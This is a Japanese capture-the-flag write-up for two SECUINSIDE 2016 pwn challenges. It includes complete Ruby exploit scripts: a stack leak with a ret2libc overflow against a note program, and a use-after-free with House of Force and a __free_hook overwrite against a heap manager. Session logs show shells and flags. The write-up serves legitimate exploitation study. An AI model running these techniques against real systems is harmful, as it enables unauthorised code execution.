SECUINSIDE CTF Quals 2016 writeup
SECUINSIDE CTF Quals 2016にbinjaで参加しました。
チームで1264pts入れて8位、
私はpwn 2問+CGC問全部の計6問解いて905pts(たぶん)+α(breakthrough points)入れました。
解いたpwn 2問のwriteupを久々に置いておきます(*´ω`*)
noted (pwn 180)
$ ./noted [Simple NOTED] Menu 1) Login 2) Register 3) Exit 1 userid : charo userpw : hoge Menu 1) List note 2) Write note 3) Read note 4) Edit note 5) Delete note 6) Recover note 7) Empty recyclecan 8) Logout
ファイルベースのメモ管理プログラム。
まずは下調べ。
$ file noted noted: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b652f881e7a5d7cb1b47b5cee548251ce1aabeaf, stripped $ checksec --file noted RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH noted
主な仕様はこんな感じ。
- ログインメニュー
- 1) Login
- ユーザIDとパスワードでアカウント認証し、メインメニューへ
- 2) Register
- アカウントを新規登録する
/home/noted/
直下にユーザIDと同じ名前のディレクトリ(以下ユーザディレクトリ)が作られる
(ユーザIDはalphanumericでないと怒られるので、ディレクトリトラバーサルは不可)
- 3) Exit
- 終了
- 1) Login
- メインメニュー
- 1) List note
- ユーザディレクトリにあるファイルの一覧が出力される
- 2) Write note
- ユーザディレクトリにファイルを作成する
- 設定できるのは以下の項目
- title(作成されるメモファイルのファイル名。ここもalphanumericでないと怒られるので、ディレクトリトラバーサルは不可)
- password(閲覧・編集用のパスワード。NULL終端も含めて16バイト)
- filedata length(1024バイト以上を指定すると、強制的に0バイトにされてしまう)
- filedata(filedata lengthが0バイトの場合、内容として"(EMPTY)"という文字列が使われる)
- passwordとfiledataを連結したファイルが作られる
- filedataが空のファイルは作れないようにしたつもりになっているが、filedata入力時に1バイトだけ入れて入力を切ると、filedataが空のファイルが作れる
- 3) Read note
- 指定したファイルの内容を表示(ディレクトリトラバーサルは不可)
- 4) Edit note
- 指定したファイルを編集できる
- 新しいデータを入力する前に、編集前のファイルの内容が出力される
- 元々のファイルサイズより大きなデータは入力できない
- filedataが空のファイルは存在し得ないという前提で作っているのか、filedataが空のファイルを編集しようとするとバグる
- 5) Delete note
- 指定したファイルをゴミ箱へ移動する
- 6) Recover note
- 指定したファイルをゴミ箱から復元する
- 7) Empty recyclecan
- ゴミ箱を空にする
- 8) Logout
- ログアウトし、ログインメニューへ
- 1) List note
Edit noteの実装を見てみると、
int length; int fd; char password[16], buf[1024]; // ファイル選択・パスワードチェック // (snip) // 元々の内容を取得 length = read(fd, buf, filesize - sizeof(password)) - 1; buf[length] = '\0'; close(fd); // 元々の内容を出力 printf("original data : "); write(1, buf, length); // 編集 fd = open(filename, O_WRONLY); printf("new file data (new file can't exceed original size) : "); length = read(0, buf, length) - 1; buf[length] = '\0'; // 書き出し write(fd, password, sizeof(password)); write(fd, buf, length); close(fd); // (以下略)
という感じになっている。
ここでfiledataが空のファイルを編集しようとすると、最初のread
後のlength
が-1になってしまうため、
元々の内容を出力する部分でwrite(1, buf, -1)
が実行されてスタックがダンプされる上、
編集処理でread(0, buf, -1)
が実行されてstack bofも起きる。
ということで、
- Write noteでfiledataが空のファイルを作る
- Edit noteで1.のファイルを選ぶことでスタックをダンプさせ、libcのアドレスをリークさせる
- stack bofでリターンアドレス以下を書き換えて
system("/bin/sh")
を呼ぶ
という手順で攻略した。
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "52.78.11.234" port = 20003 libc_offset = { "__libc_start_main_ret" => 0x18637, "system" => 0x3a920, "/bin/sh" => 0x15909f, } else host = "localhost" port = 20003 libc_offset = { "__libc_start_main_ret" => 0x19af3, "system" => 0x40310, "/bin/sh" => 0x16084c } end offset = { "edit_note_ret" => 0x292a, } PwnTube.open(host, port){|tube| filename = "mikudayo" # puts "[*] register" # tube.recv_until("3) Exit\n\n") # tube.send("2") # tube.recv_until("userid : ") # tube.sendline("charo") # tube.recv_until("userpw : ") # tube.sendline("hoge") puts "[*] login" tube.recv_until("3) Exit\n\n") tube.send("1") tube.recv_until("userid : ") tube.sendline("charo") tube.recv_until("userpw : ") tube.sendline("hoge") puts "[*] create empty note" tube.recv_until("8) Logout\n\n") tube.send("2") tube.recv_until("title : ") tube.sendline(filename) tube.recv_until("filedata length : ") tube.sendline("100") tube.recv_until("password : ") tube.sendline("1" * 15) tube.recv_until("filedata : ") tube.sendline("") puts "[*] edit note" tube.recv_until("8) Logout\n\n") tube.send("4") tube.recv_until("title : ") tube.sendline(filename) tube.recv_until("password : ") tube.sendline("1" * 15) puts "[*] leak pie base" tube.recv_until("original data : ") tube.recv(0x48c) pie_base = tube.recv(4).unpack("L")[0] - offset["edit_note_ret"] puts "pie base = 0x%08x" % pie_base puts "[*] leak libc base" tube.recv(0x3c) libc_base = tube.recv(4).unpack("L")[0] - libc_offset["__libc_start_main_ret"] puts "libc base = 0x%08x" % libc_base puts "[*] send rop" sleep(1) tube.recv(0x10000) payload = "" payload << "\0" * 0x48c payload << [libc_base + libc_offset["system"], 0xdeadbeef, libc_base + libc_offset["/bin/sh"]].pack("L*") tube.sendline(payload) puts "[*] trigger" tube.interactive }
$ ruby noted.rb [*] connected [*] login [*] create empty note [*] edit note [*] leak pie base pie base = 0xf7729000 [*] leak libc base libc base = 0xf754c000 [*] send rop [*] trigger [*] interactive mode id uid=1000(noted) gid=1000(noted) groups=1000(noted) /flag_x df72b22170fed79911e4a69c68a1b9a0 exit [*] end interactive mode [*] connection closed
FLAG: df72b22170fed79911e4a69c68a1b9a0
manager (pwn 225)
forkサーバ型のヒープ問。
まずは下調べ。
$ file manager manager: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=fcd6987e647a5d93dff3dfa9ffe2820fd8491920, stripped $ checksec --file manager RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH manager
主な仕様はこんな感じ。
Slot
構造体用の領域10個をmallocで確保し、各領域へのポインタをbssに格納- 以下のコマンドを受け付ける無限ループに入る(メニューの類は用意されていないため、各コマンドの名称は独自につけた)
- init
- 指定の
Slot
のis_used
を1にセットする
- 指定の
- read data
- 指定の
Slot
のcontent
が指す領域にデータをlength
バイト分読み込む
- 指定の
- allocate
- reallocate
- show
- 指定の
Slot
のcontent
を出力する - freeコマンドで
content
をfreeした状態であっても出力される
- 指定の
- free
- 指定の
Slot
のcontent
が指す領域をfreeする length
やis_used
は初期化される- free後も
content
がfree済みの領域を指したまま
- 指定の
- init
なお、Slot
構造体の定義はこんな感じだと思われる。
struct Slot { // size=0x28 long unused_0; // +0x0 int length; // +0x8 int unused_c; // +0xc char *content; // +0x10 int last_command; // +0x18 int unused_1c; // +0x1c int is_used; // +0x20 int unused_24 // +0x24 }
この問題はUAFでtopチャンクのサイズを書き換えられる上、任意サイズのmallocが呼べるので、House of Forceが使える。
- free済みの
Slot
に対してshowコマンドを実行することで、ヒープとlibcのアドレスをリークさせる - free済みの
Slot
のlength
をallocateコマンド経由で4096にセットした後、read dataコマンドを呼ぶことでUAF + heap bofし、topチャンクのサイズを-1に書き換える - 未使用の
Slot
に対してreallocateコマンドを実行することでrealloc(NULL, 負のサイズ)
(malloc(負のサイズ)
と等価)を実行する - 3.のreallocateで指定したサイズがうまく調節できていると、次のallocateで
Slot
の実体がある部分のアドレスがcontent
にセットされる(House of Force) Slot
構造体を自由に書き換えることができるようになるので、content
を__free_hook
に向け、system関数のアドレスを書き込む- freeコマンドを実行することでsystem関数を呼べるようになる
という手順で攻略した。
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "chal.cykor.kr" port = 22222 libc_offset = { "main_arena" => 0x3c4c00, "__free_hook" => 0x3c69a8, "system" => 0x44380, } else host = "localhost" port = 22222 libc_offset = { "main_arena" => 0x3be760, "__free_hook" => 0x3c0a10, "system" => 0x46590, } end def init(id) @tube.send([0, 0, 15, id].pack("L*")) end def read_data(id, data) @tube.send([1, 0, 15, id].pack("L*")) @tube.send(data) end def allocate(id, size) @tube.send([2, size, 15, id].pack("L*")) end def reallocate(id, size, data) @tube.send([3, 0, 15, 0].pack("L*")) @tube.send([size, id].pack("L*")) @tube.send(data) end def show(id) @tube.send([4, 0, 15, 0].pack("L*")) @tube.send([id].pack("L")) end def free(id) @tube.send([5, 0, 15, 0].pack("L*")) @tube.send([id].pack("L")) end PwnTube.open(host, port){|tube| @tube = tube tube.wait_time = 0.1 tube.recv_until("alloc manager!\n") puts "[*] send command" init(0) allocate(0, 256) read_data(0, "\0" * 256) init(1) allocate(1, 256) read_data(1, "/bin/sh <&4 >&4".ljust(0x100, "\0")) puts "[*] leak libc base" init(2) init(3) allocate(2, 256) read_data(2, "\0" * 256) allocate(3, 256) read_data(3, "\0" * 256) free(2) init(2) free(3) init(2) show(2) libc_base = tube.recv_capture(/2=> (.*)\n\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58 puts "libc base = 0x%016x" % libc_base puts "[*] leak heap address" init(2) allocate(2, 8) read_data(2, "A" * 8) init(3) allocate(3, 8) read_data(3, "A" * 8) free(2) init(2) free(3) init(3) show(3) heap = tube.recv_capture(/3=> (.*)\n\n/m)[0].ljust(8, "\0").unpack("Q")[0] puts "heap address = 0x%016x" % heap puts "[*] overwrite top->size using UAF" init(3) allocate(3, 4097) init(3) allocate(2, 8) read_data(3, [0, 0, 0, -1].pack("Q*").ljust(4096, "\0")) puts "[*] House of Force" init(4) reallocate(4, 0xfffffd00, "A") init(5) allocate(5, 0x80) puts "[*] overwrite slot" payload = "" payload << [0].pack("Q") payload << [8].pack("Q") # length payload << [libc_base + libc_offset["__free_hook"]].pack("Q") # ptr payload << [1, 15].pack("L*") payload << [1].pack("Q") # is_used read_data(5, payload.ljust(0x80, "\0")) puts "[*] overwrite __free_hook to system" init(8) allocate(8, 8) read_data(7, [libc_base + libc_offset["system"]].pack("Q")) puts "[*] trigger" free(1) tube.interactive }
$ ruby manager.rb [*] connected [*] send command [*] leak libc base libc base = 0x00007fb636e17000 [*] leak heap address heap address = 0x00007fb6383d98c0 [*] overwrite top->size using uaf [*] house of force [*] overwrite slot [*] overwrite __free_hook [*] trigger [*] interactive mode id uid=1000(alloc) gid=1000(alloc) groups=1000(alloc) ls -la total 24 drwxr-x---. 2 root alloc 31 Jul 8 03:40 . drwxr-xr-x. 3 root root 18 Jul 8 03:40 .. -rw-r-----. 1 root alloc 33 Jul 7 15:17 flag -rwxr-x---. 1 root alloc 18888 Jul 7 14:46 manager cat flag 8353f29ae41c9fb6ffe32848dc380c8f exit [*] end interactive mode [*] connection closed
FLAG: 8353f29ae41c9fb6ffe32848dc380c8f